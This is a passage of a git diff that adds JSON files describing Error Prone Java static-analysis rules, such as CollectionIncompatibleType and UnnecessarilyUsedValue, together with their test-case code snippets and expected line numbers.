Client();\n }\n }" + }, + { + "description": "simpleCase_explicitConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n Client() {}\n\n public Client getValue() {\n return this;\n }\n }" + }, + { + "description": "nestedClasses_cirvAndCrv", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import com.google.errorprone.annotations.CheckReturnValue;\n\n @CanIgnoreReturnValue\n public final class Client {\n public Client getValue() {\n return this;\n }\n\n @CheckReturnValue\n public static final class Nested {\n public int getValue() {\n return 42;\n }\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import com.google.errorprone.annotations.CheckReturnValue;\n\n public final class Client {\n @CanIgnoreReturnValue\n public Client getValue() {\n return this;\n }\n\n @CheckReturnValue\n public static final class Nested {\n public int getValue() {\n return 42;\n }\n }\n }" + }, + { + "description": "nestedClasses_bothCirv", + "expected-problems": null, + "expected-linenumbers": [ + 304 + ], + "code": "package com.google.gaia;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public final class User {\n public User persist() {\n return this;\n }\n\n public static final class Builder {\n public Builder setFirstName(String firstName) {\n return this;\n }\n }\n }\n \n\n package com.google.gaia;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n public final class User {\n @CanIgnoreReturnValue\n public User persist() {\n return this;\n }\n\n public static final class Builder {\n @CanIgnoreReturnValue\n public Builder setFirstName(String firstName) {\n return this;\n }\n }\n }" + }, + { + "description": "autoValue", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @AutoValue\n @CanIgnoreReturnValue\n abstract class Animal {\n abstract String name();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String value);\n\n abstract Animal build();\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @AutoValue\n abstract class Animal {\n abstract String name();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String value);\n\n abstract Animal build();\n }\n }" + }, + { + "description": "autoValueBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 398 + ], + "code": "package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @AutoValue\n abstract class Animal {\n abstract String name();\n\n @CanIgnoreReturnValue\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String value);\n\n abstract Animal build();\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @AutoValue\n abstract class Animal {\n abstract String name();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String value);\n\n abstract Animal build();\n }\n }" + }, + { + "description": "nestedAutoValue", + "expected-problems": null, + "expected-linenumbers": [ + 445 + ], + "code": "package com.google.frobber;\n\n import com.google.auto.value.AutoValue;\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n\n @CanIgnoreReturnValue\n public class Outer {\n public String name() {\n return null;\n }\n\n @AutoValue\n abstract static class Inner {\n abstract String id();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UnnecessarilyUsedValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UnnecessarilyUsedValue.json new file mode 100644 index 0000000..c975ca9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UnnecessarilyUsedValue.json @@ -0,0 +1,38 @@ +{ + "name": "UnnecessarilyUsedValue", + "language": "java", + "description": "The result of this API is ignorable, so it does not need to be captured / assigned into an `unused` variable.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "methods", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public void varNotUnused() {\n var notUnused = ignorable();\n }\n\n public void varUnused() {\n var unused = ignorable();\n }\n\n public void varUnusedFoo() {\n var unusedFoo = ignorable();\n }\n\n public void varUnused0() {\n var unused0 = ignorable();\n }\n\n public void varUnused1() {\n var unused1 = ignorable();\n }\n\n public void varUnused10() {\n var unused10 = ignorable();\n }\n\n public void objectUnused() {\n Object unused = ignorable();\n }\n\n public void objectUnusedFoo() {\n Object unusedFoo = ignorable();\n }\n\n public void reuseOfUnusedVariable(String unused) {\n unused = ignorable();\n }\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public String ignorable() {\n return \"hi\";\n }\n }\n \n\n package com.google.frobber;\n\n public final class Client {\n public void varNotUnused() {\n var notUnused = ignorable();\n }\n\n public void varUnused() {\n ignorable();\n }\n\n public void varUnusedFoo() {\n var unusedFoo = ignorable();\n }\n\n public void varUnused0() {\n ignorable();\n }\n\n public void varUnused1() {\n ignorable();\n }\n\n public void varUnused10() {\n ignorable();\n }\n\n public void objectUnused() {\n ignorable();\n }\n\n public void objectUnusedFoo() {\n Object unusedFoo = ignorable();\n }\n\n public void reuseOfUnusedVariable(String unused) {\n ignorable();\n }\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public String ignorable() {\n return \"hi\";\n }\n }" + }, + { + "description": "constructors", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public void varNotUnused() {\n var notUnused = new Client();\n }\n\n public void varUnused() {\n var unused = new Client();\n }\n\n public void varUnusedFoo() {\n var unusedFoo = new Client();\n }\n\n public void objectUnused() {\n Object unused = new Client();\n }\n\n public void objectUnusedFoo() {\n Object unusedFoo = new Client();\n }\n\n public void reuseOfUnusedVariable(Client unused) {\n unused = new Client();\n }\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public Client() {}\n }\n \n\n package com.google.frobber;\n\n public final class Client {\n public void varNotUnused() {\n var notUnused = new Client();\n }\n\n public void varUnused() {\n new Client();\n }\n\n public void varUnusedFoo() {\n var unusedFoo = new Client();\n }\n\n public void objectUnused() {\n new Client();\n }\n\n public void objectUnusedFoo() {\n Object unusedFoo = new Client();\n }\n\n public void reuseOfUnusedVariable(Client unused) {\n new Client();\n }\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public Client() {}\n }" + }, + { + "description": "tryWithResources", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n public void varNotUnused() throws Exception {\n try (java.io.Closeable unused = getCloseable()) {}\n }\n\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n private java.io.Closeable getCloseable() {\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UsingJsr305CheckReturnValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UsingJsr305CheckReturnValue.json new file mode 100644 index 0000000..0b92709 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/checkreturnvalue/UsingJsr305CheckReturnValue.json @@ -0,0 +1,38 @@ +{ + "name": "UsingJsr305CheckReturnValue", + "language": "java", + "description": "Prefer ErrorProne's @CheckReturnValue over JSR305's version.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 4, + "apis": 4, + "test": [ + { + "description": "jsr305Imported", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "package com.google.frobber;\n\n import javax.annotation.CheckReturnValue;\n\n public final class Client {\n @CheckReturnValue\n public int getValue() {\n return 42;\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.CheckReturnValue;\n\n public final class Client {\n @CheckReturnValue\n public int getValue() {\n return 42;\n }\n }" + }, + { + "description": "jsr305FullyQualified", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "" + }, + { + "description": "jsr305ImportStar", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionIncompatibleType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionIncompatibleType.json new file mode 100644 index 0000000..ecd6da9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionIncompatibleType.json @@ -0,0 +1,158 @@ +{ + "name": "CollectionIncompatibleType", + "language": "java", + "description": "Incompatible type as argument to Object-accepting Java collections method", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 125, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\nimport com.google.common.collect.ClassToInstanceMap;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.Deque;\nimport java.util.Dictionary;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Stack;\nimport java.util.Vector;\nimport java.util.concurrent.ConcurrentNavigableMap;\nimport java.util.concurrent.ConcurrentSkipListMap;\n\n/** Positive test cases for {@link CollectionIncompatibleType}. */\npublic class CollectionIncompatibleTypePositiveCases {\n\n /* Tests for API coverage */\n\n public void collection(Collection collection1, Collection collection2) {\n // BUG: Diagnostic contains: Argument '\"bad\"' should not be passed to this method\n // its type String is not compatible with its collection's type argument Integer\n collection1.contains(\"bad\");\n // BUG: Diagnostic contains:\n collection1.remove(\"bad\");\n // BUG: Diagnostic contains: Argument 'collection2' should not be passed to this method\n // its type Collection has a type argument String that is not compatible with its\n // collection's type argument Integer\n collection1.containsAll(collection2);\n // BUG: Diagnostic contains:\n collection1.removeAll(collection2);\n // BUG: Diagnostic contains:\n collection1.retainAll(collection2);\n }\n\n public void collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) {\n // BUG: Diagnostic contains: Argument '\"bad\"' should not be passed to this method\n // its type String is not compatible with its collection's type argument Integer\n arrayList1.contains(\"bad\");\n // BUG: Diagnostic contains:\n arrayList1.remove(\"bad\");\n // BUG: Diagnostic contains: Argument 'arrayList2' should not be passed to this method\n // its type ArrayList has a type argument String that is not compatible with its\n // collection's type argument Integer\n arrayList1.containsAll(arrayList2);\n // BUG: Diagnostic contains:\n arrayList1.removeAll(arrayList2);\n // BUG: Diagnostic contains:\n arrayList1.retainAll(arrayList2);\n }\n\n public boolean deque(Deque deque) {\n // BUG: Diagnostic contains:\n boolean result = deque.removeFirstOccurrence(\"bad\");\n // BUG: Diagnostic contains:\n return result && deque.removeLastOccurrence(\"bad\");\n }\n\n public boolean dequeSubtype(LinkedList linkedList) {\n // BUG: Diagnostic contains:\n boolean result = linkedList.removeFirstOccurrence(\"bad\");\n // BUG: Diagnostic contains:\n return result && linkedList.removeLastOccurrence(\"bad\");\n }\n\n public String dictionary(Dictionary dictionary) {\n // BUG: Diagnostic contains:\n String result = dictionary.get(\"bad\");\n // BUG: Diagnostic contains:\n return result + dictionary.remove(\"bad\");\n }\n\n public String dictionarySubtype(Hashtable hashtable) {\n // BUG: Diagnostic contains:\n String result = hashtable.get(\"bad\");\n // BUG: Diagnostic contains:\n return result + hashtable.remove(\"bad\");\n }\n\n public int list() {\n List list = new ArrayList();\n // BUG: Diagnostic contains:\n int result = list.indexOf(1);\n // BUG: Diagnostic contains:\n return result + list.lastIndexOf(1);\n }\n\n public void listSubtype() {\n ArrayList arrayList = new ArrayList<>();\n // BUG: Diagnostic contains:\n int result = arrayList.indexOf(1);\n // BUG: Diagnostic contains:\n result = arrayList.lastIndexOf(1);\n }\n\n public boolean map() {\n Map map = new HashMap<>();\n // BUG: Diagnostic contains:\n String result = map.get(\"bad\");\n // BUG: Diagnostic contains:\n result = map.getOrDefault(\"bad\", \"soBad\");\n // BUG: Diagnostic contains:\n boolean result2 = map.containsKey(\"bad\");\n // BUG: Diagnostic contains:\n result2 = map.containsValue(1);\n // BUG: Diagnostic contains:\n result = map.remove(\"bad\");\n return false;\n }\n\n public boolean mapSubtype() {\n ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>();\n // BUG: Diagnostic contains:\n String result = concurrentNavigableMap.get(\"bad\");\n // BUG: Diagnostic contains:\n boolean result2 = concurrentNavigableMap.containsKey(\"bad\");\n // BUG: Diagnostic contains:\n result2 = concurrentNavigableMap.containsValue(1);\n // BUG: Diagnostic contains:\n result = concurrentNavigableMap.remove(\"bad\");\n return false;\n }\n\n public int stack(Stack stack) {\n // BUG: Diagnostic contains:\n return stack.search(\"bad\");\n }\n\n private static class MyStack extends Stack {}\n\n public int stackSubtype(MyStack myStack) {\n // BUG: Diagnostic contains:\n return myStack.search(\"bad\");\n }\n\n public int vector(Vector vector) {\n // BUG: Diagnostic contains:\n int result = vector.indexOf(\"bad\", 0);\n // BUG: Diagnostic contains:\n return result + vector.lastIndexOf(\"bad\", 0);\n }\n\n public int vectorSubtype(Stack stack) {\n // BUG: Diagnostic contains:\n int result = stack.indexOf(\"bad\", 0);\n // BUG: Diagnostic contains:\n return result + stack.lastIndexOf(\"bad\", 0);\n }\n\n /* Tests for behavior */\n\n public boolean errorMessageUsesSimpleNames(Collection collection) {\n // BUG: Diagnostic contains: Argument '\"bad\"' should not be passed to this method\n // its type String is not compatible with its collection's type argument Integer\n return collection.contains(\"bad\");\n }\n\n private static class Date {}\n\n public boolean errorMessageUsesFullyQualifedNamesWhenSimpleNamesAreTheSame(\n Collection collection1, Collection collection2) {\n // BUG: Diagnostic contains: Argument 'new Date()' should not be passed to this method\n // its type\n // com.google.errorprone.bugpatterns.collectionincompatibletype.testdata.CollectionIncompatibleTypePositiveCases.Date is not compatible with its collection's type argument java.util.Date\n return collection1.contains(new Date());\n }\n\n public boolean boundedWildcard() {\n Collection collection = new ArrayList<>();\n // BUG: Diagnostic contains:\n return collection.contains(\"bad\");\n }\n\n private static class Pair {\n public A first;\n public B second;\n }\n\n public boolean declaredTypeVsExpressionType(Pair pair, List list) {\n // BUG: Diagnostic contains:\n return list.contains(pair.second);\n }\n\n public String subclassHasDifferentTypeParameters(ClassToInstanceMap map, String s) {\n // BUG: Diagnostic contains:\n return map.get(s);\n }\n\n private static class MyArrayList extends ArrayList {}\n\n public void methodArgumentIsSubclassWithDifferentTypeParameters(\n Collection collection, MyArrayList myArrayList) {\n // BUG: Diagnostic contains:\n collection.containsAll(myArrayList);\n }\n\n private static class IncompatibleBounds {\n private boolean function(Map map, K key) {\n // BUG: Diagnostic contains:\n return map.containsValue(key);\n }\n }\n\n interface Interface {}\n\n private static final class FinalClass1 {}\n\n private static final class FinalClass2 {}\n\n private static class NonFinalClass1 {}\n\n private static class NonFinalClass2 {}\n\n public boolean oneInterfaceAndOneFinalClass(\n Collection collection, FinalClass1 finalClass1) {\n // BUG: Diagnostic contains:\n return collection.contains(finalClass1);\n }\n\n public boolean oneFinalClassAndOneInterface(Collection collection, Interface iface) {\n // BUG: Diagnostic contains:\n return collection.contains(iface);\n }\n\n public boolean bothNonFinalClasses(\n Collection collection, NonFinalClass2 nonFinalClass2) {\n // BUG: Diagnostic contains:\n return collection.contains(nonFinalClass2);\n }\n\n public boolean bothFinalClasses(Collection collection, FinalClass2 finalClass2) {\n // BUG: Diagnostic contains:\n return collection.contains(finalClass2);\n }\n\n public boolean oneNonFinalClassAndOneFinalClass(\n Collection collection, FinalClass1 finalClass1) {\n // BUG: Diagnostic contains:\n return collection.contains(finalClass1);\n }\n\n public boolean oneFinalClassAndOneNonFinalClass(\n Collection collection, NonFinalClass1 nonFinalClass1) {\n // BUG: Diagnostic contains:\n return collection.contains(nonFinalClass1);\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\nimport com.google.common.base.Optional;\nimport com.google.common.collect.ClassToInstanceMap;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.Deque;\nimport java.util.Dictionary;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.Stack;\nimport java.util.Vector;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentNavigableMap;\nimport java.util.concurrent.ConcurrentSkipListMap;\n\n/** Negative test cases for {@link CollectionIncompatibleType}. */\npublic class CollectionIncompatibleTypeNegativeCases {\n\n /* Tests for API coverage */\n\n public boolean collection(Collection collection1, Collection collection2) {\n boolean result = collection1.contains(\"ok\");\n result &= collection1.contains(null);\n result &= collection1.remove(\"ok\");\n result &= collection1.remove(null);\n result &= collection1.containsAll(collection2);\n result &= collection1.containsAll(null);\n result &= collection1.removeAll(collection2);\n result &= collection1.removeAll(null);\n result &= collection1.retainAll(collection2);\n return result && collection1.retainAll(null);\n }\n\n public boolean collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) {\n boolean result = arrayList1.contains(\"ok\");\n result &= arrayList1.contains(null);\n result &= arrayList1.remove(\"ok\");\n result &= arrayList1.remove(null);\n result &= arrayList1.containsAll(arrayList2);\n result &= arrayList1.containsAll(null);\n result &= arrayList1.removeAll(arrayList2);\n result &= arrayList1.removeAll(null);\n result &= arrayList1.retainAll(arrayList2);\n return result && arrayList1.retainAll(null);\n }\n\n public boolean deque(Deque deque) {\n boolean result = deque.removeFirstOccurrence(\"ok\");\n result &= deque.removeFirstOccurrence(null);\n result &= deque.removeLastOccurrence(\"ok\");\n return result && deque.removeLastOccurrence(null);\n }\n\n public boolean dequeSubtype(LinkedList linkedList) {\n boolean result = linkedList.removeFirstOccurrence(\"ok\");\n result &= linkedList.removeFirstOccurrence(null);\n result &= linkedList.removeLastOccurrence(\"ok\");\n return result && linkedList.removeLastOccurrence(null);\n }\n\n public int dictionary(Dictionary dictionary) {\n int result = dictionary.get(\"ok\");\n result += dictionary.get(null);\n result += dictionary.remove(\"ok\");\n return result + dictionary.remove(null);\n }\n\n public int dictionarySubtype(Hashtable hashtable) {\n int result = hashtable.get(\"ok\");\n result += hashtable.get(null);\n result += hashtable.remove(\"ok\");\n return result + hashtable.remove(null);\n }\n\n public int list() {\n List list = new ArrayList();\n int result = list.indexOf(\"ok\");\n result += list.indexOf(null);\n result += list.lastIndexOf(\"ok\");\n return result + list.lastIndexOf(null);\n }\n\n public int listSubtype() {\n ArrayList arrayList = new ArrayList<>();\n int result = arrayList.indexOf(\"ok\");\n result += arrayList.indexOf(null);\n result += arrayList.lastIndexOf(\"ok\");\n return result + arrayList.lastIndexOf(null);\n }\n\n public boolean map() {\n Map map = new HashMap<>();\n String result = map.get(1);\n result = map.getOrDefault(1, \"hello\");\n boolean result2 = map.containsKey(1);\n result2 = map.containsValue(\"ok\");\n result2 &= map.containsValue(null);\n result = map.remove(1);\n return result2;\n }\n\n public boolean mapSubtype() {\n ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>();\n String result = concurrentNavigableMap.get(1);\n boolean result2 = concurrentNavigableMap.containsKey(1);\n result2 &= concurrentNavigableMap.containsValue(\"ok\");\n result2 &= concurrentNavigableMap.containsValue(null);\n result = concurrentNavigableMap.remove(1);\n return result2;\n }\n\n public int stack(Stack stack) {\n int result = stack.search(\"ok\");\n return result + stack.search(null);\n }\n\n private static class MyStack extends Stack {}\n\n public int stackSubtype(MyStack myStack) {\n int result = myStack.search(\"ok\");\n return result + myStack.search(null);\n }\n\n public int vector(Vector vector) {\n int result = vector.indexOf(\"ok\", 0);\n result += vector.indexOf(null, 0);\n result += vector.lastIndexOf(\"ok\", 0);\n return result + vector.lastIndexOf(null, 0);\n }\n\n public int vectorSubtype(Stack stack) {\n int result = stack.indexOf(\"ok\", 0);\n result += stack.indexOf(null, 0);\n result += stack.lastIndexOf(\"ok\", 0);\n return result + stack.lastIndexOf(null, 0);\n }\n\n /* Tests for behavior */\n\n private class B extends Date {}\n\n public boolean argTypeExtendsContainedType() {\n Collection collection = new ArrayList<>();\n return collection.contains(new B());\n }\n\n public boolean containedTypeExtendsArgType() {\n Collection collection = new ArrayList<>();\n Object actuallyAString = \"ok\";\n return collection.contains(actuallyAString);\n }\n\n public boolean boundedWildcard() {\n Collection collection = new ArrayList<>();\n return collection.contains(new Date()) || collection.contains(new B());\n }\n\n public boolean unboundedWildcard() {\n Collection collection = new ArrayList<>();\n return collection.contains(\"ok\") || collection.contains(new Object());\n }\n\n public boolean rawType() {\n Collection collection = new ArrayList();\n return collection.contains(\"ok\");\n }\n\n private class DoesntExtendCollection {\n public boolean contains(Object o) {\n return true;\n }\n }\n\n public boolean doesntExtendCollection() {\n DoesntExtendCollection collection = new DoesntExtendCollection<>();\n return collection.contains(new Date());\n }\n\n private static class Pair {\n public A first;\n public B second;\n }\n\n public boolean declaredTypeVsExpressionType(Pair pair, List list) {\n return list.contains(pair.first);\n }\n\n public boolean containsParameterizedType(\n Collection> collection, Class clazz) {\n return collection.contains(clazz);\n }\n\n public boolean containsWildcard(Collection collection, Optional optional) {\n return collection.contains(optional.get());\n }\n\n public T subclassHasDifferentTypeParameters(\n ClassToInstanceMap map, Class klass) {\n return klass.cast(map.get(klass));\n }\n\n // Ensure we don't match Hashtable.contains and ConcurrentHashtable.contains because there is a\n // separate check, HashtableContains, specifically for them.\n public boolean hashtableContains() {\n Hashtable hashtable = new Hashtable<>();\n ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap<>();\n return hashtable.contains(1) || concurrentHashMap.contains(1);\n }\n\n private static class MyHashMap extends HashMap {}\n\n public boolean boundedTypeParameters(MyHashMap myHashMap) {\n return myHashMap.containsKey(1);\n }\n\n interface Interface1 {}\n\n interface Interface2 {}\n\n private static class NonFinalClass {}\n\n public boolean bothInterfaces(Collection collection, Interface2 iface2) {\n return collection.contains(iface2);\n }\n\n public boolean oneInterfaceAndOneNonFinalClass(\n Collection collection, NonFinalClass nonFinalClass) {\n return collection.contains(nonFinalClass);\n }\n\n public boolean oneNonFinalClassAndOneInterface(\n Collection collection, Interface1 iface) {\n return collection.contains(iface);\n }\n\n public void methodArgHasSubtypeTypeArgument(\n Collection collection1, Collection collection2) {\n collection1.containsAll(collection2);\n }\n\n public void methodArgHasSuperTypeArgument(\n Collection collection1, Collection collection2) {\n collection1.containsAll(collection2);\n }\n\n public void methodArgHasWildcardTypeArgument(\n Collection collection1, Collection collection2) {\n collection1.containsAll(collection2);\n }\n\n public void methodArgCastToCollectionWildcard(\n Collection collection1, Collection collection2) {\n collection1.containsAll((Collection) collection2);\n }\n\n public void classToken(\n Set>> iterables, Class arrayListClass) {\n iterables.contains(arrayListClass);\n }\n}\\" + }, + { + "description": "outOfBounds", + "expected-problems": null, + "expected-linenumbers": [ + 576 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\n import java.util.Properties;\n\n /** This is a regression test for Issue 222. */\n public class CollectionIncompatibleTypeOutOfBounds {\n public void test() {\n Properties properties = new Properties();\n properties.get(\"\");\n }\n }\\" + }, + { + "description": "classCast", + "expected-problems": null, + "expected-linenumbers": [ + 597 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\n import java.util.HashMap;\n\n /** This is a regression test for Issue 222. */\n public class CollectionIncompatibleTypeClassCast extends HashMap {\n public void test(K k) {\n get(k);\n }\n }\\" + }, + { + "description": "castFixes", + "expected-problems": null, + "expected-linenumbers": [ + 617 + ], + "code": "import java.util.Collection;\n\n public class Test {\n public void doIt(Collection c1, Collection c2) {\n // BUG: Diagnostic contains: c1.contains((Object) 1);\n c1.contains(1);\n // BUG: Diagnostic contains: c1.containsAll((Collection) c2);\n c1.containsAll(c2);\n }\n }" + }, + { + "description": "suppressWarningsFix", + "expected-problems": null, + "expected-linenumbers": [ + 638 + ], + "code": "import java.util.Collection;\n\n public class Test {\n public void doIt(Collection c1, Collection c2) {\n c1.contains(1);\n c1.containsAll(c2);\n }\n }" + }, + { + "description": "disjoint", + "expected-problems": null, + "expected-linenumbers": [ + 690 + ], + "code": "import java.util.Collections;\n import java.util.List;\n\n public class Test {\n void f(List a, List b) {\n Collections.disjoint(a, b);\n }\n\n void g(List a, List b) {\n // BUG: Diagnostic contains: not compatible\n Collections.disjoint(a, b);\n }\n\n void h(List a, List b) {\n Collections.disjoint(a, b);\n }\n }" + }, + { + "description": "disjoint", + "expected-problems": null, + "expected-linenumbers": [ + 690 + ], + "code": "import java.util.Collections;\n import java.util.List;\n\n public class Test {\n void f(List a, List b) {\n Collections.disjoint(a, b);\n }\n\n void g(List a, List b) {\n // BUG: Diagnostic contains: not compatible\n Collections.disjoint(a, b);\n }\n\n void h(List a, List b) {\n Collections.disjoint(a, b);\n }\n }" + }, + { + "description": "difference", + "expected-problems": null, + "expected-linenumbers": [ + 717 + ], + "code": "import java.util.Set;\n import com.google.common.collect.Sets;\n\n public class Test {\n void f(Set a, Set b) {\n Sets.difference(a, b);\n }\n\n void g(Set a, Set b) {\n // BUG: Diagnostic contains: not compatible\n Sets.difference(a, b);\n }\n\n void h(Set a, Set b) {\n Sets.difference(a, b);\n }\n }" + }, + { + "description": "methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 744 + ], + "code": "import java.util.List;\n\n public class Test {\n java.util.stream.Stream filter(List xs, List ss) {\n // BUG: Diagnostic contains:\n return xs.stream().filter(ss::contains);\n }\n }" + }, + { + "description": "methodReferenceBinOp", + "expected-problems": null, + "expected-linenumbers": [ + 762 + ], + "code": "import java.util.List;\n\n public class Test {\n void removeAll(List> xs, List ss) {\n // BUG: Diagnostic contains:\n xs.forEach(ss::removeAll);\n }\n }" + }, + { + "description": "methodReference_compatibleType", + "expected-problems": null, + "expected-linenumbers": [ + 780 + ], + "code": "import java.util.List;\n\n public class Test {\n java.util.stream.Stream filter(List xs, List ss) {\n return xs.stream().filter(ss::contains);\n }\n }" + }, + { + "description": "memberReferenceWithBoundedGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 797 + ], + "code": "import com.google.common.collect.Sets;\n import java.util.function.BiFunction;\n import java.util.Set;\n\n public class Test {\n void a(BiFunction, Set, Set> b) {}\n\n void b() {\n // BUG: Diagnostic contains:\n a(Sets::difference);\n }\n }" + }, + { + "description": "memberReferenceWithBoundedGenericsDependentOnEachOther", + "expected-problems": null, + "expected-linenumbers": [ + 819 + ], + "code": "import com.google.common.collect.Sets;\n import java.util.function.BiFunction;\n import java.util.Set;\n\n public class Test {\n void a(BiFunction, Set, Set> b) {}\n\n void b() {\n a(Sets::difference);\n }\n }" + }, + { + "description": "memberReferenceWithConcreteIncompatibleTypes", + "expected-problems": null, + "expected-linenumbers": [ + 840 + ], + "code": "import com.google.common.collect.Sets;\n import java.util.function.BiFunction;\n import java.util.Set;\n\n public class Test {\n void a(BiFunction, Set, Set> b) {}\n\n void b() {\n // BUG: Diagnostic contains:\n a(Sets::difference);\n }\n }" + }, + { + "description": "memberReferenceWithConcreteCompatibleTypes", + "expected-problems": null, + "expected-linenumbers": [ + 862 + ], + "code": "import com.google.common.collect.Sets;\n import java.util.function.BiFunction;\n import java.util.Set;\n\n public class Test {\n void a(BiFunction, Set, Set> b) {}\n\n void b() {\n a(Sets::difference);\n }\n }" + }, + { + "description": "memberReferenceWithCustomFunctionalInterface", + "expected-problems": null, + "expected-linenumbers": [ + 883 + ], + "code": "import com.google.common.collect.Sets;\n import java.util.function.BiFunction;\n import java.util.Set;\n\n public interface Test {\n Set test(Set a, Set b);\n\n static void a(Test b) {}\n\n static void b() {\n // BUG: Diagnostic contains: Integer is not compatible with String\n a(Sets::difference);\n }\n }" + }, + { + "description": "wildcardBoundedCollectionTypes", + "expected-problems": null, + "expected-linenumbers": [ + 907 + ], + "code": "import java.util.List;\n import java.util.Set;\n\n public interface Test {\n static void test(Set> xs, Set> ys) {\n // BUG: Diagnostic contains:\n xs.containsAll(ys);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionUndefinedEquality.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionUndefinedEquality.json new file mode 100644 index 0000000..f1e627a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CollectionUndefinedEquality.json @@ -0,0 +1,54 @@ +{ + "name": "CollectionUndefinedEquality", + "language": "java", + "description": "This type does not have well-defined equals behavior.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "collectionOfCollections", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.Collection;\n\n class Test {\n boolean foo(Collection> xs, Collection x) {\n // BUG: Diagnostic contains:\n return xs.contains(x);\n }\n }" + }, + { + "description": "collectionOfLists_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import java.util.Collection;\n import java.util.List;\n\n class Test {\n boolean foo(Collection> xs, List x) {\n 